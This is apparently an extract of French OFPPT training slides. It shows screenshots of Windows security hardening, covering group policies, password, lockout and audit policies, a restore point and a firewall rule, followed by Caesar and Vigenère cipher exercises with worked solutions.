 Options de sécurité Pare-feu Windows Defender avec Stratégies du gestionnaire de listi Stratégies de clé publique Stratégies de cestriction logicielle Stratégies de contrôle de l'applic Stratégies de sécurité IP sur Ordir Configuration avancée de la strat QoS basée sur la stratégie 	Sécurité réseau : Sécurité réseau : Serveur réseau M Serveur réseau M	
	OK Annuler Appliquer	*



Étape 2 : Limiter les connexions réseau

Figures illustrant la désactivation des fonctions inutiles d'une interface réseau.

🚆 Centre Réseau et partage		- 🗆 X	Propriétés de Ethernet X
← 🔥 × ↑ 🔽 « Rése >	Centre Réseau et par V Ö 🔎 Rechercher		Gestion de réseau
Page d'accueil du panneau de configuration	🖗 État de Ethernet >	et configurer des connexions	Connexion en utilisant :
Modifier les paramètres de la carte	Général	ccès : Internet	Intel(R) PRO/1000 MT Desktop Adapter
Modifier les paramètres de partage avancés Options de diffusion	Connectivité IPv4 : Internet Connectivité IPv6 : Pas d'accès réseau État du média : Activé	ons : 🦞 Ethernet	Cette connexion utilise les éléments suivants : Image: Client pour les réseaux Microsoft
multimédia en continu	Durée : 00:37:51 Vitesse : 1,0 Gbits/s	seau ce ou VPN, ou configurez un routeur ou	Partage de fichiers et imprimantes Réseaux Microsoft Planificateur de paquets QoS Protocole Internet version 4 (TCP/IPv4) Protocole de multiplexage de carte réseau Microsoft Pilote de protocole LLDP Microsoft
	Activité — Envoyés — Reçus	ccédez à des informations de	□ Protocole Internet version 6 (TCP/IPv6) ✓ ✓ Installer Désinstaller Propriétés
	Octets : 3 679 801 175 292 537		Description TCP/IP version 6. Demière version du protocole Internet permettant la communication entre réseaux hétérogènes interconnectés.
Voiraussi	Veroprietes Veractiver Diagnostiquer		
Options Internet			OK Annuler
Pare-feu Windows Defender			

PARTIE 2



Étape 2 : Limiter les connexions réseau

Figures illustrant la désactivation de Wan Miniport IPv6

ш

PARTI



Étape 3 : Limiter les risques liés à l'usage de médias amovibles

Toutes les classes de stockage amovible : refuser tous les accès X Éditeur de stratégie de groupe locale × Toutes les classes de stockage amovible : refuser tous les accès Fichier Action Affichage ? Paramètre précédent Paramètre suivant ? Commentaire : O Non configuré Activé Système ٨ Accès au stockage amovible Accès au stockag Désactivé Toutes les classes de stockage Paramètre Pris en charge sur : Accès au stockag Au minimum Windows Vista amovible : refuser tous les accès Définir le délai (en secondes) avant de forcer le redér Affichage E CD et DVD : refuser l'accès en exécution > 🚞 App-V Modifier le paramètre de stratégie Options : Aide : E CD et DVD : refuser l'accès en lecture 🚞 Appel de procédi CD et DVD : refuser l'accès en écriture Assistance à dista Configuration requise : Permet de configurer l'accès à toutes les classes de stockage Au minimum Windows Vista amovible. Classes personnalisées : refuser l'accès en lecture Assistance en cas Classes personnalisées : refuser l'accès en écriture Assistant de stocl Ce paramètre de stratégie a priorité sur les paramètres de Description : stratégie individuels relatifs au stockage amovible. Pour gérer des Audit de création E Lecteurs de disquettes : refuser l'accès en exécution Permet de configurer l'accès à classes individuelles, utilisez les paramètres de stratégie **1** Cache NV de disc correspondant à chaque classe. toutes les classes de stockage Lecteurs de disquettes : refuser l'accès en lecture 📔 Complexité du co amovible. Lecteurs de disquettes : refuser l'accès en écriture Si vous activez ce paramètre de stratégie, aucun accès n'est autorisé aux classes de stockage amovible. > 📔 DCOM 🗈 Disgues amovibles : refuser l'accès en exécution Ce paramètre de stratégie a Délégation d'info Si vous désactivez ce paramètre de stratégie ou si vous ne le Disgues amovibles : refuser l'accès en lecture priorité sur les paramètres de configurez pas, les accès en lecture et écriture sont autorisés > Dépannage et dia stratégie individuels relatifs au Disques amovibles : refuser l'accès en écriture pour l'ensemble des classes de stockage amovible. Device Guard stockage amovible. Pour gérer des Toutes les classes de stockage amovible : refuser tou classes individuelles, utilisez les Fermeture 🗄 Tout stockage amovible : permet l'accès direct penda paramètres de stratégie Fournisseur de cl E Lecteurs de bandes : refuser l'accès en exécution correspondant à chaque classe. Gestion de l'alime E Lecteurs de bandes : refuser l'accès en lecture Gestion de la con Si vous activez ce paramètre de E Lecteurs de bandes : refuser l'accès en écriture Gestionnaire de s stratégie, aucun accès n'est OK Annuler Appliquer > 📋 Infrastructure de 🗸 autorisé aux classes de stockage

Figures illustrant l'activation de l'option Toutes les classes de stockage amovible : refuser tous les accès



Étape 3 : Limiter les risques liés à l'usage de médias amovibles

Figures illustrant l'activation de l'option Empêcher l'installation de périphériques amovibles

🧾 Édite	ur de stratégie de groupe locale	2	_		Empêcher l'inst	allation de périphérique	s amovibles		- 0	×
Fichier	Action Affichage ?				📷 Empêcher l'insta	allation de périphérique	s amovibles	Paramètre précédent	Paramètre suivant	
🔿	2 📰 🗟 🛛 🖓 🦷				○ Non configuré	Commentaire :				
	Affichage	📋 Restrictions d'installation de péri	ohériques		 Activé 					
	Appel de procédu	Sélectionnez un élément pour obtenir une description.	Paramètre		 Désactivé 	Pris en charge sur :	Au minimum Windows	Vista		
	Assistance à dista Assistance en cas		Permettre l'installation de périphériq	r outre les strategie ues à l'aide de pilot						~
	Assistant de stocl		Empêcher l'installation de périphériq	ues à l'aide de pilot	Options :		Aide :		Afinalassa d'installas das	
	Cache NV de disc		Afficher un message personnalisé lor	sque l'installation (périphério étant amo	atre de strategie empeche v ques amovibles. Un périphé ovible lorsque le pilote du p	rique est considéré con ériphérique auquel il e	mme st
	Complexité du co		Autoriser l'installation de périphériqu Empêcher l'installation de périphériq	ies correspondant i ues correspondant			connecté un périph par les pil	indique que le périphérique érique USB (Universal Serial otes du concentrateur USB	est amovible. Par exer Bus) est déclaré amovi auquel le périphérique	mple, ible est
	Délégation d'info Dépannage et dia		Autoriser l'installation de périphériqu	ies correspondant à			connecté. paramètre par Winde	. Ce paramètre de stratégie e de stratégie autorisant l'in	prévaut sur tout autre stallation de périphériq	Jues
	Device Guard		Délai (en secondes) pour forcer le rec	lémarrage afin d'ar			Si vous ac	tivez ce paramètre de strate	gie, Windows ne peut	pas
	Fournisseur de cl		Empêcher l'installation de périphériq	ues amovibles ues non décrits par			périphério Si vous ac	ques amovibles existants ne tivez ce paramètre de straté	peuvent pas être mis à igie sur un serveur Buri	à jour. eau à
	> Cestion de l'aliment > Cestion de la con						distance, amovible serveur Bu	il a une incidence sur la red s spécifiés depuis un client l ureau à distance.	rection des périphériqu 3ureau à distance vers	ues le
	Gestionnaire de s						Si vous dé	ésactivez ce paramètre de st	ratégie ou ne le config	jurez
	 Infrastructure de Installation de pé 						pas, Wind périphério	ques amovibles conformém	ent aux autorisations c	u v
	☐ Restrictions d ☐ Installation de pil ∨		<	>				ОК	Annuler Ap	pliquer



Étape 4 : Définir un modèle de sécurité pour les comptes système

L'interface de configuration de la stratégie de mot de passe



Durée de vie maximale d'un mot de passe configurée égale à 30 jours

Paramètre de sécurité locale Expliquer Image: Durée de visconaximale du mot de passe Le mot de passe expirera dans : Image: Durée de visconaximale du mot de passe Image: Durée de visconaximale du mot de passe	Propriétés	de : Durée de vie	maximale du mot de passe	?	Х
Durée de vie naximale du mot de passe Le mot de passe expirera dans : Image: I	Paramètre	de sécurité locale	Expliquer		
Le mot de passe expirera dans : jours		Durée de viconaxir	nale du mot de passe		
	Le m	not de passe expirera	a dans :		



Étape 4 : Définir un modèle de sécurité pour les comptes système

Propriétés de : Durée de vie	minimale du mot de passe	?	×
Paramètre de sécurité locale	Expliquer		
Durée de vie minir	nale du mot de passe		
Le mot de passe peut ê	tre modifié après :		
	OK Annuler	Appli	quer

Durée de vie minimale d'un mot de passe configurée égale à 5 jours

Longueur minimale d'un mot de passe configurée égale à 8 caractères

Propriétés de : Longueur minimale du mot de passe	?	×
Paramé de sécurité locale Expliquer		
Longueur minimale du mot de passe		
Le mot de passe doit faire au minimum : 8		
OK Annuler	App	liquer



Étape 4 : Définir un modèle de sécurité pour les comptes système

Activation de l'option de vérification de complexité d'un mot de passe

opriétés de : Le mot de pa	sse doit respecter des exigenc	? X	
aramètre de sécurité locale	Expliquer		
Le mot de passe d	oit respecter des exigences de compl	exité	
 Activé 			
○ Désactivé			
	OK Annuler	Appliquer	

Restreindre l'utilisation d'un ancien mot de passe avec un seuil égal à 24

Propriétés de : Conserver l'historique des mots de passe	?	×
Paramètre de sécurité locale Expliquer		
Conserver l'historique des mots de passe		
Conserver l'historique du mot de passe pendant : The mots de passe mémorisés		
OK Annuler	Арр	liquer



Étape 4 : Définir un modèle de sécurité pour les comptes système

🚡 Stratégie desécurité locale \Box Х Fichier Action Affichage ? 🖄 📰 🔒 💈 🗊 🖥 Paramètres de sécurité Stratégie Paramètre de sécurité Stratégies de comptes 🗓 Conserver l'historique des mots de passe 24 mots de passe mémo... > 强 Stratégie de mot de passe 🗓 Durée de vie maximale du mot de passe 30 jours > 🔀 Stratégie de verrouillage du comp 🗓 Durée de vie minimale du mot de passe 5 jours > 🔀 Stratégies locales 📖 Enregistrer les mots de passe en utilisant un chiffrement rév... Désactivé > Pare-feu Windows Defender avec fon 📓 Le mot de passe doit respecter des exigences de complexité Activé Stratégies du gestionnaire de listes de Longueur minimale du mot de passe 8 caractère(s) > 📔 Stratégies de clé publique > 📔 Stratégies de restriction logicielle > 📔 Stratégies de contrôle de l'application 😹 Stratégies de sécurité IP sur Ordinateu > Configuration avancée de la stratégie < | >

Interface illustrant la configuration de la nouvelle stratégie de mot de passe

PARTIE 2



Étape 4 : Définir un modèle de sécurité pour les comptes système

Interfaces illustrant la configuration d'un seuil de verrouillage égal à 3 échecs de connexion à tous les comptes d'utilisateurs.

🚘 Stratégie de sécurité locale		- L X		- U X
Fichier Action Affichage ?				Propriétés de : Seuil de verrouillage du compte ? ×
← ➡ 🚈 📰 🔂 🖬				Paramètre de sécurité locale Evolution
 Paramètres de sécurité Stratégies de comptes Stratégie de mot de passe Stratégie de verrouillage du comp Stratégies locales Pare-feu Windows Defender avec fon Stratégies de clé publique Stratégies de restriction logicielle Stratégies de sécurité IP sur Ordinateu Configuration avancée de la stratégie 	atégie Durée de verrouillage des comptes Réinitialiser le compteur de verrouillages du compte après Seuil de verrouillage du compte	Paramètre de sécurité Non applicable Non applicable O tentatives d'ouvertures	Stratégie	OK Annuler

PARTIE 2



Étape 4 : Définir un modèle de sécurité pour les comptes système

Interfaces illustrant la configuration de la nouvelle stratégie de verrouillage de comptes

Modifications suggérées pour les valeurs	×	Image: Stratégie de sécurité locale − ⊥ × Fichier Action Affichage ?
Puisque la valeur de Seuil de verrouillage du compte est maintenant 3 tentatives d'ouvertures de session non valides, les paramètres des éléments suivants seront modifiés pour prendre les valeus suggérées. Stratégie Paramètres de stratégie Paramètres suggérés Durée de verrouillage des comptes Non applicable 30 minutes Réinitialiser le compteur de verrouilla Non applicable 30 minutes C OK Annuler		Fichier Action Affichage ?



Étape 5 : Définir une stratégie d'audit

Cette figure illustre l'interface permettant la configuration de la stratégie d'audit



Cette figure illustre l'activation de la journalisation des tentatives réussies et échouées pour les événements système.





Étape 5 : Définir une stratégie d'audit

Cette figure illustre l'activation de la journalisation des tentatives réussies et échouées pour les événements de connexion

Propriétés de : Auditer les é	vénements de connexion	?	×
Paramètre de sécurité locale	Expliquer		
Auditer les événe	ments de connexion		
Auditer les tentatives de Réussite Échec	es types suivants :		
Il est possible que stratégie est config au niveau de la ca Pour obtenir davar <u>événements de co</u>	ce paramètre ne soit pas appl urée pour avoir la priorité sur l tégorie. ttage d'informations, consulte: <u>nnexion</u> . (Q921468)	iqué si une autre a stratégie d'audit z <u>Auditer les</u>	
	OK Ann	uler Appli	quer

Cette figure illustre l'activation de la journalisation des tentatives réussies et échouées pour les événements de connexion aux comptes



2

PARTIE



Étape 5 : Définir une stratégie d'audit

Cette figure illustre l'activation de la journalisation des tentatives réussies pour l'utilisation des privilèges

Propriétés de : Auditer l'utilisa	ation des privilèges		?	×
Paramètre de sécurité locale	Expliquer			
Auditer l'utilisation d	les privilèges			
Auditer les tentatives des t Réussite Échec	types suivants :			
Il est possible que ce stratégie est configur au niveau de la catég Pour obtenir davanta <u>des privilèges</u> . (Q921	e paramètre ne soit pas ée pour avoir la priorité gorie. ige d'informations, con 468)	appliqué si une é sur la stratégie sultez <u>Auditer l'i</u>	autre d'audit utilisation	
	ОК	Annuler	Appliqu	Jer

Cette figure illustre l'activation de la journalisation des tentatives réussies pour l'accès aux objets





Étape 5 : Définir une stratégie d'audit

Cette figure illustre la configuration finale de la stratégie d'audit définie

🚡 Stratégie de sécurité locale	Ŷ		-		×				
Fichier Action Affichage ?									
← ⇒ 2 💼 🗙 🗟 🛛 🖬									
 Paramètres de sécurité Stratégies de comptes Stratégie de mot de passe Stratégie de verrouillage du com Stratégies locales Stratégie d'audit Attribution des droits utilisateur Options de sécurité Pare-feu Windows Defender avec for Stratégies du gestionnaire de listes d Stratégies de clé publique Stratégies de contrôle de l'applicatio Stratégies de sécurité IP sur Ordinate Configuration avancée de la stratégie 	Stratégie Auditer l'accès au service d'annuaire Auditer l'accès aux objets Auditer l'utilisation des privilèges Auditer la gestion des comptes Auditer le suivi des processus Auditer les événements de connexion Auditer les événements de connexion aux comptes Auditer les événements système Auditer les modifications de stratégie	Paramé Pas d'a Réussit Pas d'a Réussit Réussit Pas d'a	ètre de sé udit e udit udit e, Échec e, Échec udit	icurité					



Étape 6 : Exécuter la restauration du système et créez un point de restauration.

Ces figures illustrent les étapes de création d'un point de restauration

		7		
La" × ←® Créer une image système	Créer une image système		← 🎼 Créer une image système	
Où voulez-vous enregistrer la sauvegarde ? Une image système est une copie des lecteurs nécessaires à l'exécution de Windows. Elle peut aussi comprendre des lecteurs supplémentaires. Une image système peut servir à restaurer votre ordinateur s' votre lecteur de disque ou ordinateur s'arêté de fonctionner. Cependant, vous ne pouvez pas sélectionner d'éléments individuels à restaurer.	Où voulez-vous enregistrer la sauvegarde ? Une image système est une copie des lecteurs nécessaires à l'exécution de Windows. Elle peut aussi comprendre des lecteurs supplémentaires. Une image système peut servir à restaure votre ordinateur si votre lecteur de disque ou ordinateur s'arrête de fonctionner. Cependent, vous ne pouvez pas selectionner d'éléments individuels à restaurer.		Confirmez les paramètres de sauvegarde. Emplacement de sauvegarde : DATA HDD (E) La sauvegarde peut occuper 116 Go d'espace disque.	
Créer une image système Sur un ou plusieur Recherche de périphériques de sauvegarde	DATA HDD (E) : 141,07 Go de libres Sor un ou plusieurs DVD Lecteur DVD RW (Fr)		Les lecteurs suivents seront sesvegerdés : Partition du système EFI Système SSD (Ci) (Système) Environnement de récupération Windows (Système)	
⊖ Sur un partage réseau Sélectionner	O Sur un partage réseau Sélectionner			
Suivant Annuler	Suivent Annuler		Demarrer la sauvegarde Annule	er



Étape 7 : Configurer des règles de sécurité pour le pare-feu Windows

Cette figure illustre l'interface de configuration du pare-feu Windows



2

PARTIE



Étape 7 : Configurer des règles de sécurité pour le pare-feu Windows

Dans cette fenêtre, il suffit de sélectionner **Personnalisée** puis de cliquer sur **Suivant**

💣 Assistant Nouvelle règle	de trafic sortant X
Type de règle	
Sélectionnez le type de règle de	pare-feu à créer.
Étapes :	
Type de règle	Quel type de règle voulez-vous créer ?
Programme	
Protocole et ports	O Programme
Étendue	Règle qui contrôle les connexions d'un programme.
Action	⊖ Port
Profil	Règle qui contrôle les connexions d'un port TCP ou UDP.
Nom	O Prédéfinie :
	@FirewallAPI.dll,-80200 V
	Règle qui contrôle les connexions liées à l'utilisation de Windows.
	Personnalisée
	Règle personnalisée.

Dans cette fenêtre, sélectionnez **Personnaliser**, sélectionnez ensuite **Appliquer** à ce service et défilez la liste pour sélectionner **Windows Update** et cliquez sur **OK** et ensuite sur **Suivant**

Spécifiez le cher	in d'accès complet au programme et le nom du fichier exécutable	du programme auquel correspond o	ette règle.
Étapes :	Personnaliser les paramètres des services		×
 Type de règi 	Appliquer cette règle comme suit :		
Programme	 Appliquer à tous les programmes et services 		_
Protocole et	 Appliquer aux services uniquement 		_
e Étendue	Appliquer à ce service :		5
Action	Nom	Nom court	
Profil	Q WarpJITSvc	WarpJITSvc	1 A 1
Nom	Q WC Assistant	WCAssistant Service	11
	Q, WebClient	WebClient	
	Windows Connect Now - Registre de configuration Madaes lastallas	wonosvo	
	Windows Installer	MyedRealtyOpenXRSvc	
	Windows Search	WSearch	er
	Windows Update	wuauserv	
	2. Xbox Accessory Management Service	XboxGipSvc	-
	O Appliquer au service portant ce nom court (par exemple : ex	ventlog) :	_
			_
		OK /	onuler

PARTIE 2



Étape 7 : Configurer des règles de sécurité pour le pare-feu Windows

Dans cette fenêtre, il suffit de sélectionner **TCP** comme protocole, puis de cliquer sur **Suivant**

💣 Assistant Nouvelle règle	×	🔗 Assistant Nouvelle i		
Protocole et ports				Étendue
Spécifiez les protocoles et les p	oorts auxquels s'applique cette règl	e.		Spécifiez les adresses IP lo
Étapes :				Étapes :
Type de règle	A quels ports et protocol	es cette règle s'applique t-elle ?		Type de règle
Programme				Programme
Protocole et ports	Type de protocole :	TCP V		Protocole et ports
étendue	Numéro de protocole :	6		Étendue
Action				Action
Profil				Profil
Nom	Port local :	Tous les ports ~		Nom
		Exemple : 80, 443, 5000-5010		
	Port distant :	Tous les ports V		
		Exemple : 80, 443, 5000-5010		
	Paramètres ICMP (Inter	net Control Perso		
	Message Protocol) :			
		Disting District		
		< Precedent Sulvant >	whnuler	

Dans cette fenêtre, conservez les paramètres par défaut et cliquez sur

Suivant

🔗 Assistant Nouvelle règle	de trafic sortant	×
Étendue		
Spécifiez les adresses IP locales	et distantes auxquelles s'applique cette règle.	
Étapes :		
Type de règle		
Programme	À quelles adresses IP locales cette règle s'applique-t-elle ?	
Protocole et ports	Toute adresse IP	
Étendue	○ Ces adresses IP :	
Action	Ajouter	
Profil	Modifier	
Nom		
	Supprmer	
	Personnaliser les types d'interfaces auxquels cette règle s'applique : Perso	
	À quelles adresses IP distantes cette règle s'applique-t-elle ?	
	Toy te adresse IP	
	Aiouter	
	14 - 50	
	Modifier	
	Supprimer	
	< Précédent Suivant > Annul	ler

2

PARTIE



Étape 7 : Configurer des règles de sécurité pour le pare-feu Windows

Dans cette fenêtre, il suffit de sélectionner Autoriser la connexion, puis de cliquer sur Suivant

🔗 Assistant Nouvelle règle d	de trafic sortant	×	🖌 🍘 Assistant Nouvelle règl	e de trafic sortant
Action			Profil	
Spécifiez une action à entreprend	re lorsqu'une connexion répond aux conditions spécifiées dans la règle.		Spécifiez les profils auxquels s	applique cette règle.
Étapes :			Étapes :	
 Type de règle Programme Protocole et ports Étendue Action Profil Nom 	Quelle action entreprendre lorsqu'une connexion répond aux conditions spécifiées ? Autoriser la connexion Cela comprend les connexions qui sont protégées par le protocole IPsec, ainsi que celles qui ne le sont pas. Autoriser la connexion si elle est sécurisée Cela comprend uniquement les connexions authentifiées à l'aide du protocole IPsec. Les connexions sont sécurisées à l'aide des paramètres spécifiés dans les propriétés et règles IPsec du nœud Règle de sécurité de connexion. Personnaliser Bloquer la connexion		 Type de règle Programme Protocole et ports Étendue Action Profil Nom 	Quand cette règle est-elle appli ✓ Domaine Lors de la connexion d'un o ✓ Privé Lors de la connexion d'un o domicile ou au bureau. ✓ Public Lors de la connexion d'un o
	< Précédent Suivant > Annuler			

Dans cette fenêtres, sélectionnez tous les profils (Domaine, Privé et Publique) puis cliquez sur Suivant

💣 Assistant Nouvelle règle	e de trafic sortant
Profil	
Spécifiez les profils auxquels s'a	applique cette règle.
Étapes :	
Type de règle	Quand cette règle est-elle appliquée ?
Programme	
Protocole et ports	✓ Domaine
Étendue	Lors de la connexion d'un ordinateur à son domaine d'entreprise.
Action	✓ Privé
Profil	Lors de la connexion d'un ordinateur à un emplacement réseau privé, par exemple à domicile ou au bureau.
- NOT	Public Lors de la connexion d'un ordinateur à un emplacement public.
	(Drésédant Criment) Annular
	< rrecevent Sulvant > Annuler

131



Étape 7 : Configurer des règles de sécurité pour le pare-feu Windows

Dans cette fenêtre il suffit de définir le nom de la règle, "Autoriser le service Windows Update", puis de cliquer sur Terminer

💣 Assistant Nouvelle règle	de trafic sortant	>
Nom		
Spécifier le nom et la description	de cette règle.	
Étapes :		
Type de règle		
Programme		
Protocole et ports		
Étendue	Nom :	
Action	Autoriser le service Windows Update	
Profil	Description (facultatif) :	
Nom		
	Distant Terms Inch	
	< Précédent Terminer Annuler	



Étape 7 : Configurer des règles de sécurité pour le pare-feu Windows

Cette interface illustre que la nouvelle règle définie a été ajoutée avec succès au pare-feu et apparaît dans la liste des règles

🔗 Pare-feu Windows Defender av	ec fonctions avancées de sécurité						-		×
Fichier Action Affichage ?									
🗢 🏓 🙇 📆 🕞 📓 📆									
🔗 Pare-feu Windows Defender av	Règles de trafic sortant					Actions			
Règles de trafic entrant	Nom	Groupe	Profil	Activée	Action 1	Règles de trafic	: sortant		-
Regles de tranc sortant	Autoriser le service Windows Update		Tout	Oui	Autor	Nouvelle r	égle		
Analyse	G @FirewallAPI.dll,-80204	@FirewallAPLdIL-80200	Tout	Oui	Autor	W. Churry			
/	Skype	{78E1CD68-49E3-476E-B926	Tout	Oui	Autor	u ricerpar	prom		
	Skype	{78E1CD88-49E3-476E-B926	Tout	Oui	Autor	Y Fibrer par	état		•
	Affichage sans fil (TCP sortant)	Affichage sans fil	Tout	Oui	Autor	🗑 Filtrer par	groupe		•
	Affichage sans fil (UDP sortant)	Affichage sans fil	Tout	Oui	Autor	Affichage			
	Assistance à distance (PRNP - en sortie)	Assistance à distance	Public	Non	Autor				
	Assistance à distance (PRNP - en sortie)	Assistance à distance	Doma	Oui	Autor	Actualiser			
	Assistance à distance (SSDP TCP - en sort	Assistance à distance	Doma	Oui	Autor	🗟 Exporter la	liste		
	Assistance à distance (SSDP UDP - en sor	Assistance à distance	Doma	Oui	Autor	Aide			
	Assistance à distance (TCP-Sortie)	Assistance à distance	Public	Non	Autor	-			
	Assistance à distance (TCP-Sortie)	Assistance à distance	Doma	Oui	Autor	Autoriser le ser	vice Windows	Update	-
	Assistance à distance (Trafic sortant TCP s	Assistance à distance	Doma	Oui	Autor	Désactive	la règle		
	Astuces Microsoft	Astuces Microsoft	Tout	Oui	Autor	& Couper			
	Client de mise en cache hébergé de Bran	BranchCache - Client de mi	Tout	Non	Autor	D			
	Découverte d'homologue de BranchCac	BranchCache - Découverte	Tout	Non	Autor	de Copier			
	Extraction du contenu de BranchCache (BranchCache - Extraction d	Tout	Non	Autor	🗙 Supprime			
	Serveur de cache hébergé de BranchCac	BranchCache - Serveur de c	Tout	Non	Autor	Propriétés			
	Calculatrice Windows	Calculatrice Windows	Tout	Oui	Autor	Aide			
	Caméra Windows	Caméra Windows	Tout	Oui	Autor	H HOL			
	Certes Windows	Cartes Windows	Tout	Oui	Autor				
	🧭 Compagnon de la console Xbox	Compagnon de la console X	Tout	Oui	Autor				
	Compte professionnel ou scolaire	Compte professionnel ou sc	Tout	Oui	Autor				
	Contenu Microsoft	Contenu Microsoft	Tout	Oui	Autor				
	Coordinateur de transactions distribuées	Coordinateur de transaction	Privé,	Non	Autor				
	Coordinateur de transactions distribuées	Coordinateur de transaction	Doma	Non	Autor				
	🕑 Cortana	Cortana	Tout	Oui	Autor				
	Courrier et calendrier	Courrier et calendrier	Tout	Oui	Autor				
	🕅 Découverte de réseau Wi-Fi Direct (Sortie)	Découverte de réseau Wi-Fi	Public	Oui	Autor Y				
c >	c				>	1			





•

PARTIE 3

DÉCOUVRIR LA CRYPTOGRAPHIE ET LES **SOLUTIONS DE GESTION ET DE PARTAGE DE CLÉS**

Dans ce module, vous allez :

- Chiffrer et déchiffrer des textes en utilisant des algorithmes de chiffrement classique
- Utiliser OpenSSL pour chiffrer, déchiffrer, et signer des textes, générer des clés, mettre en place une PKI, et générer des certificats numériques







ACTIVITÉ 1

APPLICATION DES TECHNIQUES DE CHIFFREMENT CLASSIQUES

Compétences visées :

- Chiffrer des textes en utilisant des algorithmes de chiffrement classique
- Déchiffrer des textes en utilisant des algorithmes de chiffrement classique

Recommandations clés :

• Maitriser les principes des algorithmes de chiffrement classique, en particulier César et Vigenère





CONSIGNES

1. Pour le formateur

- L'apprenant doit être capable de chiffrer un texte en claire avec le chiffrement de César et Vigenère
- Il doit être également capable de déchiffrer un texte chiffré avec le chiffrement de César et Vigenère

2. Pour l'apprenant

• Il est recommandée de maitriser les principes des algorithmes de chiffrement classique, en particulier César et Vigenère

3. Conditions de réalisation :

Aucune condition exigée

4. Critères de réussite :

- Avoir un texte chiffré lorsqu'on part d'un texte en claire
- Avoir un texte en clair (qui a un sens) en partant d'un texte chiffré

Activité 1

Application des techniques de chiffrement classiques

OFPPT LETHER CHANGE

Exercice 1 : Chiffrement de César

- L'objectif de cette exercice est d'essayer de chiffrer et déchiffrer des textes en utilisant l'algorithme de César. Pour cette raison, vous êtes chargés d'effectuer les tâches suivantes
 - 1. Chiffrez le texte suivant, avec le chiffrement de César, sachant que la distance de décalage est 5.
 - Texte en claire : cet exercice entre dans le cadre de chiffrement classique
 - 2. Déchiffrez le texte suivant, qui a été avec le chiffrement de César, sachant que la distance de décalage est 7.
 - Texte chiffré : **s h c p l l z a i l s s l**
 - 3. Déchiffrez le texte suivant, qui a été avec le chiffrement de César, sachant que le premier mot du texte claire est le.
 - Texte chiffré : ohvrohloeulooh

Activité 1

Application des techniques de chiffrement classiques

OFPPT LETHER CHANGE

Exercice 2 : Chiffrement de Vigenère

- L'objectif de cette exercice est d'essayer de chiffrer et déchiffrer des textes en utilisant le chiffrement de Vigenère. Pour cette raison, vous êtes chargés d'effectuer les tâches suivantes :
 - 1. Chiffrez le texte suivant, avec le chiffrement de Vigenère en utilisant la clé **EXERCICE**.
 - Texte en claire : CHIFFRE DE VIGENERE
 - 2. Déchiffrez le texte suivant, qui a été avec le chiffrement de Vigenère en utilisant la clé **EXERCICE.**
 - Texte chiffré : **PBWFNMKPFOMCNM**



Exercice 1 : Chiffrement de César

1. Pour chiffrer un texte avec le chiffrement de César avec une distance de décalage égale à 5, il faut préparer le tableau de correspondance de l'alphabet, comme suit :

Lettres d'origine	А	В	С	D	Ε	F	G	Н	Ι	J	к	L	М	Ν	0	Ρ	Q	R	S	Т	U	V	w	х	Y	Ζ
Lettres de remplacement correspondantes	F	G	Н	Ι	J	к	L	Μ	Ν	0	Ρ	Q	R	S	т	U	٧	W	х	Y	Z	А	В	С	D	Е

• Ensuite, il faut chercher les correspondances de chaque lettre dans le texte claire comme suit :

Claire	с	e	t	e	x	e	r	с	i	с	e	e	n	t	r	e	d	а	n	s	I	e	с	а	d	r	e	d	u	с	Н	I	f	f	r	e	m	e	n	t	с	I	а	s	s	i	q	u	e
Chiffré	h	j	у	j	с	j	w	h	n	h	j	j	s	у	w	j	i	f	s	x	q	j	h	f	i	w	j	i	z	Н	М	n	k	k	w	j	r	j	s	у	h	q	f	x	x	n	v	z	j

- Texte en claire : cet exercice entre dans le cadre du chiffrement classique
- Texte chiffré: hjy jcjwhnhj jsywj ifsx qj hfiwj iz hmnkkwjrjsy hqfxxnvzj



Exercice 1 : Chiffrement de César

2. Pour déchiffrer un texte qui a été avec le chiffrement de César avec une distance de décalage égale à 7, il faut préparer le tableau de correspondance de l'alphabet, comme suit :

Lettres d'origine	А	В	С	D	E	F	G	Н	Ι	J	к	L	М	Ν	0	Ρ	Q	R	S	Т	U	V	w	х	Y	Z
Lettres de remplacement correspondantes	н	I	J	к	L	Μ	Ν	0	Ρ	Q	R	S	Т	U	V	w	х	Y	Ζ	А	В	С	D	Е	F	G

• Ensuite, il faut chercher les correspondances de chaque lettre dans le texte chiffré comme suit :

Chiffré	s	h	с	р	1	I	z	а	i	I	s	s	I
Claire	I	а	>	i	e	e	s	t	b	e	Ι	I	e

- Texte chiffré : sh cpl lza ilssl
- Texte en claire : la vie est belle

Activité 1

Application des techniques de chiffrement classiques

Exercice 1 : Chiffrement de César

- Pour déchiffrer un texte chiffré avec le chiffrement de César, il faut alors calculer la distance de chiffrement en premier lieu.
- Le premier mot du texte claire est le, tandis que le premier mot du texte chiffré est oh alors :
 - Position de la lettre o dans l'alphabet est 14
 - Position de la lettre L dans l'alphabet est 11
- Distance est alors égale à 3 (14-11=7-4=3)
- Position de la lettre **h** dans l'alphabet est 7
- Position de la lettre e dans l'alphabet est 4
- Préparez ensuite le tableau de correspondance de l'alphabet, comme suit :

Lettres d'origine	А	В	С	D	Ε	F	G	Н	Ι	J	К	L	М	Ν	0	Ρ	Q	R	S	Т	U	V	w	х	Y	Z
Lettres de remplacement correspondantes	D	Е	F	G	Н	Ι	J	к	L	М	Ν	0	Ρ	Q	R	S	Т	U	V	W	Х	Y	Z	А	В	С

• Ensuite, il faut chercher les correspondances de chaque lettre dans le texte chiffré comme suit :

Chiffré	0	h	v	r	0	h	Ι	0	e	u	Ι	0	0	h
Claire	Ι	e	s	ο	Ι	e	i	Ι	b	r	i	I	Ι	e

- Texte chiffré : oh vrohlo eulooh
- Texte en claire : le soleil brille







Exercice 2 : Chiffrement de Vigenère

- 1. Pour chiffrer le texte CHIFFRE DE VIGENERE avec le chiffrement de Vigenère en utilisant la clé EXERCICE , il faut suivre les étapes suivantes :
 - Préparez un tableau contenant les positions des lettres de l'alphabet :

Alphabet	Α	В	С	D	E	F	G	Н	I	J	к	L	м	Ν	0	Р	Q	R	S	т	U	v	w	X	Y	Z
Position	0	1	2	3	4	5	6	7	8	9	10	11	12	13	14	15	16	17	18	19	20	21	22	23	24	25

- Préparez un deuxième tableau comme suit :
 - La première ligne : Mettez les lettres du texte en claire dans la première ligne. Chaque case contient une lettre.
 - La deuxième ligne : En se référant au tableau des positions, déterminez la position de chaque lettre du texte en claire pour remplir la deuxième ligne.
 - La troisième ligne : Mettez les lettres du mot clé, **EXERCICE** dans notre exemple, autant de fois jusqu'à remplir tous les colonnes du tableau.
 - La quatrième ligne : En se référant au tableau des positions, déterminez la position de chaque lettre du mot clé pour remplir la quatrième ligne.
